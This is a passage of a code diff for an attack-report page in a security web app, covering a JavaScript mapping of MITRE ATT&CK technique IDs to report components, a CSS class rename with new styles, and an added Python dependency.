'T1035': T1035,
'T1129': T1129,
'T1106': T1106,
'T1107': T1107,
'T1065': T1065
'T1188': T1188,
'T1090': T1090,
'T1041': T1041,
'T1222': T1222,
'T1005': T1005,
'T1018': T1018,
'T1016': T1016
};
const classNames = require('classnames');
@ -143,7 +165,7 @@ class AttackReportPageComponent extends AuthComponent {
return (
<div>
{this.renderLegend()}
<section className="app">{content}</section>
<section className="attack-report">{content}</section>
</div>
)
}

View File

@ -525,6 +525,14 @@ body {
margin-bottom: 30px;
}
.attack-matrix {
margin-bottom: 20px;
}
.attack-report .btn-collapse span:nth-of-type(2){
flex: 0;
}
.icon-info {
color: #ade3eb !important;
}

View File

@ -25,3 +25,4 @@ wheel
mongoengine
mongomock
requests
dpath